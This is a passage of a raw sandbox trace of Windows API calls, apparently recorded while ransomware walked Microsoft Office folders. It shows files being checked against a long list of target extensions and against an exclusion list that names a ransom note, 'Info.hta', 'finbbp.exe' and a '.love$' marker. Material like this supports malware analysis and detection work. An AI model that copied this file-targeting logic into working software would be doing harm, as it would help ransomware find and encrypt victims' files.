(lpString=".cdr") returned 4 [0112.459] lstrcmpiW (lpString1=".cdr", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".cer") returned 4 [0112.459] lstrcmpiW (lpString1=".cer", lpString2=".CSS") returned -1 [0112.460] lstrlenW (lpString=".cf") returned 3 [0112.460] lstrcmpiW (lpString1=".cf", lpString2="CSS") returned -1 [0112.460] lstrlenW (lpString=".cfc") returned 4 [0112.460] lstrcmpiW (lpString1=".cfc", lpString2=".CSS") returned -1 [0112.460] lstrlenW (lpString=".cfm") returned 4 [0112.460] lstrcmpiW (lpString1=".cfm", lpString2=".CSS") returned -1 [0112.460] lstrlenW (lpString=".cfml") returned 5 [0112.460] lstrcmpiW (lpString1=".cfml", lpString2="9.CSS") returned -1 [0112.460] lstrlenW (lpString=".cfu") returned 4 [0112.460] lstrcmpiW (lpString1=".cfu", lpString2=".CSS") returned -1 [0112.460] lstrlenW (lpString=".chm") returned 4 [0112.460] lstrcmpiW (lpString1=".chm", lpString2=".CSS") returned -1 [0112.460] lstrlenW (lpString=".cin") returned 4 [0112.460] lstrcmpiW (lpString1=".cin", lpString2=".CSS") returned -1 [0112.460] lstrlenW (lpString=".class") returned 6 [0112.460] lstrcmpiW (lpString1=".class", lpString2="29.CSS") returned -1 [0112.460] lstrlenW (lpString=".clx") returned 4 [0112.460] lstrcmpiW (lpString1=".clx", lpString2=".CSS") returned -1 [0112.460] lstrlenW (lpString=".config") returned 7 [0112.461] lstrcmpiW (lpString1=".config", lpString2="E29.CSS") returned -1 [0112.461] lstrlenW (lpString=".cpp") returned 4 [0112.461] lstrcmpiW (lpString1=".cpp", lpString2=".CSS") returned -1 [0112.461] lstrlenW (lpString=".cr2") returned 4 [0112.461] lstrcmpiW (lpString1=".cr2", lpString2=".CSS") returned -1 [0112.461] lstrlenW (lpString=".crt") returned 4 [0112.461] lstrcmpiW (lpString1=".crt", lpString2=".CSS") returned -1 [0112.461] lstrlenW (lpString=".crw") returned 4 [0112.461] lstrcmpiW (lpString1=".crw", lpString2=".CSS") returned -1 [0112.461] lstrlenW (lpString=".cs") returned 3 [0112.461] lstrcmpiW (lpString1=".cs", lpString2="CSS") returned -1 [0112.461] lstrlenW (lpString=".css") returned 4 [0112.461] lstrcmpiW (lpString1=".css", lpString2=".CSS") returned 0 [0112.461] lstrlenW (lpString="SCHEME29.CSS") returned 12 [0112.461] lstrlenW (lpString=".love$") returned 6 [0112.461] lstrcmpiW (lpString1=".love$", lpString2="29.CSS") returned -1 [0112.461] lstrlenW (lpString="SCHEME29.CSS") returned 12 [0112.461] lstrcmpiW (lpString1="boot.ini", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrcmpiW (lpString1="bootfont.bin", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrcmpiW (lpString1="ntldr", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrcmpiW (lpString1="ntdetect.com", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrcmpiW (lpString1="io.sys", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrcmpiW (lpString1="Info.hta", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrcmpiW (lpString1="finbbp.exe", lpString2="SCHEME29.CSS") returned -1 [0112.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME29.CSS") returned 74 [0112.461] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d522, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME30.CSS", cAlternateFileName="")) returned 1 [0112.462] lstrlenW (lpString="SCHEME30.CSS") returned 12 [0112.462] lstrlenW (lpString=".1cd") returned 4 [0112.462] lstrcmpiW (lpString1=".1cd", lpString2=".CSS") returned -1 [0112.462] lstrlenW (lpString=".3ds") returned 4 [0112.462] lstrcmpiW (lpString1=".3ds", lpString2=".CSS") returned -1 [0112.462] lstrlenW (lpString=".3fr") returned 4 [0112.462] lstrcmpiW (lpString1=".3fr", lpString2=".CSS") returned -1 [0112.462] lstrlenW (lpString=".3g2") returned 4 [0112.462] lstrcmpiW (lpString1=".3g2", lpString2=".CSS") returned -1 [0112.462] lstrlenW (lpString=".3gp") returned 4 [0112.462] lstrcmpiW (lpString1=".3gp", lpString2=".CSS") returned -1 [0112.462] lstrlenW (lpString=".7z") returned 3 [0112.462] lstrcmpiW (lpString1=".7z", lpString2="CSS") returned -1 [0112.462] lstrlenW (lpString=".accda") returned 6 [0112.462] lstrcmpiW (lpString1=".accda", lpString2="30.CSS") returned -1 [0112.462] lstrlenW (lpString=".accdb") returned 6 [0112.462] lstrcmpiW (lpString1=".accdb", lpString2="30.CSS") returned -1 [0112.462] lstrlenW (lpString=".accdc") returned 6 [0112.462] lstrcmpiW (lpString1=".accdc", lpString2="30.CSS") returned -1 [0112.462] lstrlenW (lpString=".accde") returned 6 [0112.462] lstrcmpiW (lpString1=".accde", lpString2="30.CSS") returned -1 [0112.462] lstrlenW (lpString=".accdt") returned 6 [0112.462] lstrcmpiW (lpString1=".accdt", lpString2="30.CSS") returned -1 [0112.462] lstrlenW (lpString=".accdw") returned 6 [0112.462] lstrcmpiW (lpString1=".accdw", lpString2="30.CSS") returned -1 [0112.462] lstrlenW (lpString=".adb") returned 4 [0112.463] lstrcmpiW (lpString1=".adb", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".adp") returned 4 [0112.463] lstrcmpiW (lpString1=".adp", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".ai") returned 3 [0112.463] lstrcmpiW (lpString1=".ai", lpString2="CSS") returned -1 [0112.463] lstrlenW (lpString=".ai3") returned 4 [0112.463] lstrcmpiW (lpString1=".ai3", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".ai4") returned 4 [0112.463] lstrcmpiW (lpString1=".ai4", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".ai5") returned 4 [0112.463] lstrcmpiW (lpString1=".ai5", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".ai6") returned 4 [0112.463] lstrcmpiW (lpString1=".ai6", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".ai7") returned 4 [0112.463] lstrcmpiW (lpString1=".ai7", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".ai8") returned 4 [0112.463] lstrcmpiW (lpString1=".ai8", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".anim") returned 5 [0112.463] lstrcmpiW (lpString1=".anim", lpString2="0.CSS") returned -1 [0112.463] lstrlenW (lpString=".arw") returned 4 [0112.463] lstrcmpiW (lpString1=".arw", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".as") returned 3 [0112.463] lstrcmpiW (lpString1=".as", lpString2="CSS") returned -1 [0112.463] lstrlenW (lpString=".asa") returned 4 [0112.463] lstrcmpiW (lpString1=".asa", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".asc") returned 4 [0112.463] lstrcmpiW (lpString1=".asc", lpString2=".CSS") returned -1 [0112.463] lstrlenW (lpString=".ascx") returned 5 [0112.464] lstrcmpiW (lpString1=".ascx", lpString2="0.CSS") returned -1 [0112.464] lstrlenW (lpString=".asm") returned 4 [0112.464] lstrcmpiW (lpString1=".asm", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".asmx") returned 5 [0112.464] lstrcmpiW (lpString1=".asmx", lpString2="0.CSS") returned -1 [0112.464] lstrlenW (lpString=".asp") returned 4 [0112.464] lstrcmpiW (lpString1=".asp", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".aspx") returned 5 [0112.464] lstrcmpiW (lpString1=".aspx", lpString2="0.CSS") returned -1 [0112.464] lstrlenW (lpString=".asr") returned 4 [0112.464] lstrcmpiW (lpString1=".asr", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".asx") returned 4 [0112.464] lstrcmpiW (lpString1=".asx", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".avi") returned 4 [0112.464] lstrcmpiW (lpString1=".avi", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".avs") returned 4 [0112.464] lstrcmpiW (lpString1=".avs", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".backup") returned 7 [0112.464] lstrcmpiW (lpString1=".backup", lpString2="E30.CSS") returned -1 [0112.464] lstrlenW (lpString=".bak") returned 4 [0112.464] lstrcmpiW (lpString1=".bak", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".bay") returned 4 [0112.464] lstrcmpiW (lpString1=".bay", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".bd") returned 3 [0112.464] lstrcmpiW (lpString1=".bd", lpString2="CSS") returned -1 [0112.464] lstrlenW (lpString=".bin") returned 4 [0112.464] lstrcmpiW (lpString1=".bin", lpString2=".CSS") returned -1 [0112.464] lstrlenW (lpString=".bmp") returned 4 [0112.465] lstrcmpiW (lpString1=".bmp", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".bz2") returned 4 [0112.465] lstrcmpiW (lpString1=".bz2", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".c") returned 2 [0112.465] lstrcmpiW (lpString1=".c", lpString2="SS") returned -1 [0112.465] lstrlenW (lpString=".cdr") returned 4 [0112.465] lstrcmpiW (lpString1=".cdr", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".cer") returned 4 [0112.465] lstrcmpiW (lpString1=".cer", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".cf") returned 3 [0112.465] lstrcmpiW (lpString1=".cf", lpString2="CSS") returned -1 [0112.465] lstrlenW (lpString=".cfc") returned 4 [0112.465] lstrcmpiW (lpString1=".cfc", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".cfm") returned 4 [0112.465] lstrcmpiW (lpString1=".cfm", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".cfml") returned 5 [0112.465] lstrcmpiW (lpString1=".cfml", lpString2="0.CSS") returned -1 [0112.465] lstrlenW (lpString=".cfu") returned 4 [0112.465] lstrcmpiW (lpString1=".cfu", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".chm") returned 4 [0112.465] lstrcmpiW (lpString1=".chm", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".cin") returned 4 [0112.465] lstrcmpiW (lpString1=".cin", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".class") returned 6 [0112.465] lstrcmpiW (lpString1=".class", lpString2="30.CSS") returned -1 [0112.465] lstrlenW (lpString=".clx") returned 4 [0112.465] lstrcmpiW (lpString1=".clx", lpString2=".CSS") returned -1 [0112.465] lstrlenW (lpString=".config") returned 7 [0112.466] lstrcmpiW (lpString1=".config", lpString2="E30.CSS") returned -1 [0112.466] lstrlenW (lpString=".cpp") returned 4 [0112.466] lstrcmpiW (lpString1=".cpp", lpString2=".CSS") returned -1 [0112.466] lstrlenW (lpString=".cr2") returned 4 [0112.466] lstrcmpiW (lpString1=".cr2", lpString2=".CSS") returned -1 [0112.466] lstrlenW (lpString=".crt") returned 4 [0112.466] lstrcmpiW (lpString1=".crt", lpString2=".CSS") returned -1 [0112.466] lstrlenW (lpString=".crw") returned 4 [0112.466] lstrcmpiW (lpString1=".crw", lpString2=".CSS") returned -1 [0112.466] lstrlenW (lpString=".cs") returned 3 [0112.466] lstrcmpiW (lpString1=".cs", lpString2="CSS") returned -1 [0112.466] lstrlenW (lpString=".css") returned 4 [0112.466] lstrcmpiW (lpString1=".css", lpString2=".CSS") returned 0 [0112.466] lstrlenW (lpString="SCHEME30.CSS") returned 12 [0112.466] lstrlenW (lpString=".love$") returned 6 [0112.466] lstrcmpiW (lpString1=".love$", lpString2="30.CSS") returned -1 [0112.466] lstrlenW (lpString="SCHEME30.CSS") returned 12 [0112.466] lstrcmpiW (lpString1="boot.ini", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrcmpiW (lpString1="bootfont.bin", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrcmpiW (lpString1="ntldr", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrcmpiW (lpString1="ntdetect.com", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrcmpiW (lpString1="io.sys", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrcmpiW (lpString1="Info.hta", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrcmpiW (lpString1="finbbp.exe", lpString2="SCHEME30.CSS") returned -1 [0112.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME30.CSS") returned 74 [0112.466] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME31.CSS", cAlternateFileName="")) returned 1 [0112.466] lstrlenW (lpString="SCHEME31.CSS") returned 12 [0112.466] lstrlenW (lpString=".1cd") returned 4 [0112.467] lstrcmpiW (lpString1=".1cd", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".3ds") returned 4 [0112.467] lstrcmpiW (lpString1=".3ds", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".3fr") returned 4 [0112.467] lstrcmpiW (lpString1=".3fr", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".3g2") returned 4 [0112.467] lstrcmpiW (lpString1=".3g2", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".3gp") returned 4 [0112.467] lstrcmpiW (lpString1=".3gp", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".7z") returned 3 [0112.467] lstrcmpiW (lpString1=".7z", lpString2="CSS") returned -1 [0112.467] lstrlenW (lpString=".accda") returned 6 [0112.467] lstrcmpiW (lpString1=".accda", lpString2="31.CSS") returned -1 [0112.467] lstrlenW (lpString=".accdb") returned 6 [0112.467] lstrcmpiW (lpString1=".accdb", lpString2="31.CSS") returned -1 [0112.467] lstrlenW (lpString=".accdc") returned 6 [0112.467] lstrcmpiW (lpString1=".accdc", lpString2="31.CSS") returned -1 [0112.467] lstrlenW (lpString=".accde") returned 6 [0112.467] lstrcmpiW (lpString1=".accde", lpString2="31.CSS") returned -1 [0112.467] lstrlenW (lpString=".accdt") returned 6 [0112.467] lstrcmpiW (lpString1=".accdt", lpString2="31.CSS") returned -1 [0112.467] lstrlenW (lpString=".accdw") returned 6 [0112.467] lstrcmpiW (lpString1=".accdw", lpString2="31.CSS") returned -1 [0112.467] lstrlenW (lpString=".adb") returned 4 [0112.467] lstrcmpiW (lpString1=".adb", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".adp") returned 4 [0112.467] lstrcmpiW (lpString1=".adp", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".ai") returned 3 [0112.467] lstrcmpiW (lpString1=".ai", lpString2="CSS") returned -1 [0112.467] lstrlenW (lpString=".ai3") returned 4 [0112.467] lstrcmpiW (lpString1=".ai3", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".ai4") returned 4 [0112.467] lstrcmpiW (lpString1=".ai4", lpString2=".CSS") returned -1 [0112.467] lstrlenW (lpString=".ai5") returned 4 [0112.467] lstrcmpiW (lpString1=".ai5", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".ai6") returned 4 [0112.468] lstrcmpiW (lpString1=".ai6", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".ai7") returned 4 [0112.468] lstrcmpiW (lpString1=".ai7", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".ai8") returned 4 [0112.468] lstrcmpiW (lpString1=".ai8", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".anim") returned 5 [0112.468] lstrcmpiW (lpString1=".anim", lpString2="1.CSS") returned -1 [0112.468] lstrlenW (lpString=".arw") returned 4 [0112.468] lstrcmpiW (lpString1=".arw", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".as") returned 3 [0112.468] lstrcmpiW (lpString1=".as", lpString2="CSS") returned -1 [0112.468] lstrlenW (lpString=".asa") returned 4 [0112.468] lstrcmpiW (lpString1=".asa", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".asc") returned 4 [0112.468] lstrcmpiW (lpString1=".asc", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".ascx") returned 5 [0112.468] lstrcmpiW (lpString1=".ascx", lpString2="1.CSS") returned -1 [0112.468] lstrlenW (lpString=".asm") returned 4 [0112.468] lstrcmpiW (lpString1=".asm", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".asmx") returned 5 [0112.468] lstrcmpiW (lpString1=".asmx", lpString2="1.CSS") returned -1 [0112.468] lstrlenW (lpString=".asp") returned 4 [0112.468] lstrcmpiW (lpString1=".asp", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".aspx") returned 5 [0112.468] lstrcmpiW (lpString1=".aspx", lpString2="1.CSS") returned -1 [0112.468] lstrlenW (lpString=".asr") returned 4 [0112.468] lstrcmpiW (lpString1=".asr", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".asx") returned 4 [0112.468] lstrcmpiW (lpString1=".asx", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".avi") returned 4 [0112.468] lstrcmpiW (lpString1=".avi", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".avs") returned 4 [0112.468] lstrcmpiW (lpString1=".avs", lpString2=".CSS") returned -1 [0112.468] lstrlenW (lpString=".backup") returned 7 [0112.468] lstrcmpiW (lpString1=".backup", lpString2="E31.CSS") returned -1 [0112.469] lstrlenW (lpString=".bak") returned 4 [0112.469] lstrcmpiW (lpString1=".bak", lpString2=".CSS") returned -1 [0112.469] lstrlenW (lpString=".bay") returned 4 [0112.469] lstrcmpiW (lpString1=".bay", lpString2=".CSS") returned -1 [0112.469] lstrlenW (lpString=".bd") returned 3 [0112.469] lstrcmpiW (lpString1=".bd", lpString2="CSS") returned -1 [0112.469] lstrlenW (lpString=".bin") returned 4 [0112.470] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0112.471] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0112.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR") returned 61 [0112.475] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0112.475] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0112.475] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0112.475] lstrlenW (lpString=".1cd") returned 4 [0112.476] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0112.477] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0113.131] lstrlenW (lpString="ReviewRouting_Init.xsn") returned 22 [0113.131] lstrlenW (lpString=".1cd") returned 4 [0113.142] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0113.149] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0113.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036") returned 52 [0113.153] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0113.153] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0113.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082") returned 52 [0113.154] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0113.154] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0113.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb") returned 57 [0113.154] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0113.154] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0113.154] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0113.154] lstrlenW (lpString=".1cd") returned 4 [0113.159] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0113.159] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0113.183] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0113.184] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0113.187] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0113.187] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0113.189] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0113.189] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0113.192] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0113.192] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0113.193] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef3ea8 | out: hHeap=0x4b0000) returned 1 [0113.193] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, 